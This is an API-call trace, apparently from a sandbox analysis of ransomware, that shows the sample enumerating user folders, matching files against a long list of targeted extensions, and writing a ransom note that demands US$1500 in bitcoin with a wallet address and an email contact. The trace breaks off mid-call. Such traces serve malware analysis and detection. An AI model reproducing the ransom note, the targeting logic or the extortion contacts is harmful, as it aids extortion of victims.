[0087.196] lstrlenA (lpString="*.pdf") returned 5 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.cert") returned 0 [0087.196] lstrlenA (lpString="*.cert") returned 6 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.docm") returned 0 [0087.196] lstrlenA (lpString="*.docm") returned 6 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.xlsm") returned 0 [0087.196] lstrlenA (lpString="*.xlsm") returned 6 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.dwg") returned 0 [0087.196] lstrlenA (lpString="*.dwg") returned 5 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.nd") returned 0 [0087.196] lstrlenA (lpString="*.nd") returned 4 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.tlg") returned 0 [0087.196] lstrlenA (lpString="*.tlg") returned 5 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.lgb") returned 0 [0087.196] lstrlenA (lpString="*.lgb") returned 5 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mov") returned 0 [0087.197] lstrlenA (lpString="*.mov") returned 5 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.xdw") returned 0 [0087.197] lstrlenA (lpString="*.xdw") returned 5 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.ods") returned 0 [0087.197] lstrlenA (lpString="*.ods") returned 5 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.wav") returned 0 [0087.197] lstrlenA (lpString="*.wav") returned 5 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mp3") returned 0 [0087.197] lstrlenA (lpString="*.mp3") returned 5 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.aiff") returned 0 [0087.197] lstrlenA (lpString="*.aiff") returned 6 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.flac") returned 0 [0087.197] lstrlenA (lpString="*.flac") returned 6 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.m4a") returned 0 [0087.197] lstrlenA (lpString="*.m4a") returned 5 [0087.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.csv") returned 0 [0087.197] lstrlenA (lpString="*.csv") returned 5 [0087.197] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0087.198] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.198] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0087.198] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.198] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0087.198] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0087.198] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Sun", cAlternateFileName="")) returned 0 [0087.198] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0087.198] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb91e5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb91e5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x610063, cFileName="Roaming", cAlternateFileName="")) returned 1 [0087.198] lstrcmpA (lpString1=".", lpString2="Roaming") returned -1 [0087.198] lstrcmpA (lpString1="..", lpString2="Roaming") returned -1 [0087.199] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*") returned="*.*" [0087.199] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0087.199] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0087.199] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb91e5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb91e5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750053, dwReserved1=0x6e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0087.199] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.199] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb91e5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb91e5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.199] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.199] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.199] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf9cb70, ftCreationTime.dwHighDateTime=0x1d5d93b, ftLastAccessTime.dwLowDateTime=0x5170cea0, ftLastAccessTime.dwHighDateTime=0x1d5e62a, ftLastWriteTime.dwLowDateTime=0x5170cea0, ftLastWriteTime.dwHighDateTime=0x1d5e62a, nFileSizeHigh=0x0, nFileSizeLow=0x135c8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="05QmCpRmMoBK.avi", cAlternateFileName="05QMCP~1.AVI")) returned 1 [0087.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.199] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="05QmCpRmMoBK.avi") returned 1 [0087.199] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="05QmCpRmMoBK.avi") returned 1 [0087.199] lstrcmpiA (lpString1="", lpString2="05QmCpRmMoBK.avi") returned -1 [0087.200] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*") returned="*.*" [0087.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.200] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.200] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.200] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0xffffffff [0087.200] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.202] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0087.202] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0087.204] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.205] CloseHandle (hObject=0x8c) returned 1 [0087.205] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="05QmCpRmMoBK.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi" [0087.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.ems") returned 0 [0087.205] lstrlenA (lpString="*.ems") returned 5 [0087.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.db") returned 0 [0087.205] lstrlenA (lpString="*.db") returned 4 [0087.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.dbf") returned 0 [0087.205] lstrlenA (lpString="*.dbf") returned 5 [0087.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.myox") returned 0 [0087.205] lstrlenA (lpString="*.myox") returned 6 [0087.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.myo") returned 0 [0087.205] lstrlenA (lpString="*.myo") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qbw") returned 0 [0087.206] lstrlenA (lpString="*.qbw") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qbb") returned 0 [0087.206] lstrlenA (lpString="*.qbb") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qbm") returned 0 [0087.206] lstrlenA (lpString="*.qbm") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qbo") returned 0 [0087.206] lstrlenA (lpString="*.qbo") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qbx") returned 0 [0087.206] lstrlenA (lpString="*.qbx") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qba") returned 0 [0087.206] lstrlenA (lpString="*.qba") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qby") returned 0 [0087.206] lstrlenA (lpString="*.qby") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qbj") returned 0 [0087.206] lstrlenA (lpString="*.qbj") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.ofx") returned 0 [0087.206] lstrlenA (lpString="*.ofx") returned 5 [0087.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.qif") returned 0 [0087.206] lstrlenA (lpString="*.qif") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.mye") returned 0 [0087.207] lstrlenA (lpString="*.mye") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.mbox") returned 0 [0087.207] lstrlenA (lpString="*.mbox") returned 6 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.eml") returned 0 [0087.207] lstrlenA (lpString="*.eml") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.pst") returned 0 [0087.207] lstrlenA (lpString="*.pst") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.ost") returned 0 [0087.207] lstrlenA (lpString="*.ost") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.idx") returned 0 [0087.207] lstrlenA (lpString="*.idx") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.dbx") returned 0 [0087.207] lstrlenA (lpString="*.dbx") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.sql") returned 0 [0087.207] lstrlenA (lpString="*.sql") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.mdb") returned 0 [0087.207] lstrlenA (lpString="*.mdb") returned 5 [0087.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.fdb") returned 0 [0087.207] lstrlenA (lpString="*.fdb") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.wab") returned 0 [0087.208] lstrlenA (lpString="*.wab") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.dat") returned 0 [0087.208] lstrlenA (lpString="*.dat") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.txt") returned 0 [0087.208] lstrlenA (lpString="*.txt") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.jpeg") returned 0 [0087.208] lstrlenA (lpString="*.jpeg") returned 6 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.jpg") returned 0 [0087.208] lstrlenA (lpString="*.jpg") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.png") returned 0 [0087.208] lstrlenA (lpString="*.png") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.php") returned 0 [0087.208] lstrlenA (lpString="*.php") returned 5 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.cs") returned 0 [0087.208] lstrlenA (lpString="*.cs") returned 4 [0087.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.cpp") returned 0 [0087.209] lstrlenA (lpString="*.cpp") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.rar") returned 0 [0087.209] lstrlenA (lpString="*.rar") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.zip") returned 0 [0087.209] lstrlenA (lpString="*.zip") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.html") returned 0 [0087.209] lstrlenA (lpString="*.html") returned 6 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.htm") returned 0 [0087.209] lstrlenA (lpString="*.htm") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.xlsx") returned 0 [0087.209] lstrlenA (lpString="*.xlsx") returned 6 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.xls") returned 0 [0087.209] lstrlenA (lpString="*.xls") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.mp4") returned 0 [0087.209] lstrlenA (lpString="*.mp4") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.ppt") returned 0 [0087.209] lstrlenA (lpString="*.ppt") returned 5 [0087.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.pptx") returned 0 [0087.210] lstrlenA (lpString="*.pptx") returned 6 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.doc") returned 0 [0087.210] lstrlenA (lpString="*.doc") returned 5 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.dot") returned 0 [0087.210] lstrlenA (lpString="*.dot") returned 5 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.docx") returned 0 [0087.210] lstrlenA (lpString="*.docx") returned 6 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.7z") returned 0 [0087.210] lstrlenA (lpString="*.7z") returned 4 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.tar") returned 0 [0087.210] lstrlenA (lpString="*.tar") returned 5 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.bz2") returned 0 [0087.210] lstrlenA (lpString="*.bz2") returned 5 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.gz") returned 0 [0087.210] lstrlenA (lpString="*.gz") returned 4 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.mkv") returned 0 [0087.210] lstrlenA (lpString="*.mkv") returned 5 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.eml") returned 0 [0087.210] lstrlenA (lpString="*.eml") returned 5 [0087.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.msg") returned 0 [0087.211] lstrlenA (lpString="*.msg") returned 5 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.edb") returned 0 [0087.211] lstrlenA (lpString="*.edb") returned 5 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.accdb") returned 0 [0087.211] lstrlenA (lpString="*.accdb") returned 7 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.odb") returned 0 [0087.211] lstrlenA (lpString="*.odb") returned 5 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.java") returned 0 [0087.211] lstrlenA (lpString="*.java") returned 6 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.asm") returned 0 [0087.211] lstrlenA (lpString="*.asm") returned 5 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.pfx") returned 0 [0087.211] lstrlenA (lpString="*.pfx") returned 5 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.pem") returned 0 [0087.211] lstrlenA (lpString="*.pem") returned 5 [0087.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\05QmCpRmMoBK.avi", pszSpec="*.p12") returned 0 [0087.212] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.212] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1J3jx784NF4X60.mp3") returned 1 [0087.212] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1J3jx784NF4X60.mp3") returned 1 [0087.212] lstrcmpiA (lpString1="", 